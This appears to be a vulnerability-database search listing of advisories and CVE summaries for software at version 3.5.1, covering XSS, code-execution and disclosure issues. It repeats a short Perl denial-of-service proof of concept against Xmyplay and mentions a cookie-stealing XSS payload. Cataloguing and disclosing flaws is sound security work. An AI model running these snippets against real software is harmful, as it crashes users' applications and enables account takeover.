Wordpress Pingback Locator

This module will scan for wordpress sites with the Pingback API enabled. By interfacing with the API an attacker can cause the wordpress site to port scan an external target and return results. Refer to the wordpresspingbackportscanner module. This issue was fixed in wordpress 3.5.1 This module...

DEBIAN-CVE-2012-3448

Unspecified vulnerability in Ganglia Web before 3.5.1 allows remote attackers to execute arbitrary PHP code via unknown attack vectors...

UBUNTU-CVE-2012-3448

Unspecified vulnerability in Ganglia Web before 3.5.1 allows remote attackers to execute arbitrary PHP code via unknown attack vectors...

Design/Logic Flaw

Unspecified vulnerability in Ganglia Web before 3.5.1 allows remote attackers to execute arbitrary PHP code via unknown attack vectors...

CVE-2012-1855

Microsoft .NET Framework 2.0 SP2, 3.5, 3.5.1, 4, and 4.5 does not properly handle function pointers, which allows remote attackers to execute arbitrary code via 1 a crafted XAML browser application aka XBAP or 2 a crafted .NET Framework application, aka ".NET Framework Memory Access Vulnerability...

Register Plus 3.5.1 Cross Site Scripting / Code Execution

Hello list! I want to warn you about multiple new vulnerabilities in plugin Register Plus for WordPress. These are Cross-Site Scripting, Code Execution and Full path disclosure vulnerabilities. ------------------------- Affected products: ------------------------- Vulnerable are Register Plus 3.5...

Artmedic CMS 3.5.1 Cross Site Scripting

Exploit Title: Cross Site Scripting artmedic CMS 3.5.1 UserForum Date: 18.08.2011 Author: Sony Software Link: http://www.artmedic-phpscripts.de/ Version: artmedic CMS 3.5.1 Proof of concept: http://st2tea.blogspot.com/2011/08/cross-site-scripting-artmedic-cms-35118.html...

Многичесленные уязвимости в Register Plus для WordPress

Здравствуйте 3APA3A! Сообщаю вам о найденных мною многочисленных Cross-Site Scripting уязвимостях в плагине Register Plus для WordPress. XSS persistent WASC-08: При включенных опциях Enable Invitation Codes и Enable Invitation Tracking Dashboard Widget и коде scriptalertdocument.cookie/script в...

CVE-2011-0664

Microsoft .NET Framework 2.0 SP1 and SP2, 3.5 Gold and SP1, 3.5.1, and 4.0, and Silverlight 4 before 4.0.60531.0, does not properly validate arguments to unspecified networking API functions, which allows remote attackers to execute arbitrary code via 1 a crafted XAML browser application aka XBAP...

Microsoft .NET Framework Remote Code Execution Vulnerability (2538814)

This host is missing a critical security update according to Microsoft Bulletin MS11-044. OpenVAS Vulnerability Test $Id: secpodms11-044.nasl 5362 2017-02-20 12:46:39Z cfi $ Microsoft .NET Framework Remote Code Execution Vulnerability 2538814 Authors: Sooraj KS Copyright: Copyright c 2011 SecPod,...

Newscoop 3.5.1 Cross Site Scripting

------------------------------------------------------------------------ Software................Newscoop 3.5.1 Vulnerability...........Persistent Cross-site Scripting Threat Level............Moderate 2/5 Download................http://www.sourcefabric.org/en/products/newscoopoverview/ Vendor...

Metasploit Framework Local Privilege Escalation Vulnerability

This host is installed with Metasploit Framework and is prone to local privilege escalation vulnerability. OpenVAS Vulnerability Test $Id: secpodmetasploitframeworklocprevesclvulnwin.nasl 7015 2017-08-28 11:51:24Z teissa $ Metasploit Framework Local Privilege Escalation Vulnerability Authors: Ant...

Register Plus <= 3.5.1 - Full Path Disclosure

It is unclear whether or not the issue has been fixed. Plugin has been closed...

CVE-2010-3473

Open redirect vulnerability in the Workplace aka WP component in IBM FileNet P8 Application Engine P8AE 3.5.1 before 3.5.1-021 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors...

Design/Logic Flaw

The Workplace aka WP component in IBM FileNet P8 Application Engine P8AE 3.5.1 before 3.5.1-010 records DEBUG messages containing user credentials in the log4j.xml file, which might allow local users to obtain sensitive information by reading this file...

CVE-2008-7261

The Workplace aka WP component in IBM FileNet P8 Application Engine P8AE 3.5.1 before 3.5.1-010 records DEBUG messages containing user credentials in the log4j.xml file, which might allow local users to obtain sensitive information by reading this file...

Xmyplay 3.5.1 Denial Of Service

!/usr/bin/perl Xmyplay 3.5.1 Author: s-dz , [email protected] Download : http://us2.un4seen.com/files/xmplay35.zip Tested : Windows XP SP2 fr DATE : 2010-07-31 my $file= "mahboul-3lik00.m3u"; my $junk= "\x41" x 1000000; open$FILE, "$file"; print$FILE $junk; close$FILE; print"exploit created...

Xmyplay 3.5.1 Denial of Service Vulnerability

Exploit for php platform in category dos / poc ============================================= Xmyplay 3.5.1 Denial of Service Vulnerability ============================================= !/usr/bin/perl Xmyplay 3.5.1 Author: s-dz , email protected Download : http://us2.un4seen.com/files/xmplay35.zip...

Xmyplay 3.5.1 - Denial of Service

!/usr/bin/perl Xmyplay 3.5.1 Author: s-dz , [email protected] Download : http://us2.un4seen.com/files/xmplay35.zip Tested : Windows XP SP2 fr DATE : 2010-07-31 my $file= "mahboul-3lik00.m3u"; my $junk= "\x41" x 1000000; open$FILE, "$file"; print$FILE $junk; close$FILE; print"exploit created...

Xmyplay 3.5.1 - Denial of Service

Xmyplay 3.5.1 - Denial of Service !/usr/bin/perl Xmyplay 3.5.1 Author: s-dz , [email protected] Download : http://us2.un4seen.com/files/xmplay35.zip Tested : Windows XP SP2 fr DATE : 2010-07-31 my $file= "mahboul-3lik00.m3u"; my $junk= "\x41" x 1000000; open$FILE, "$file"; print$FILE $junk;...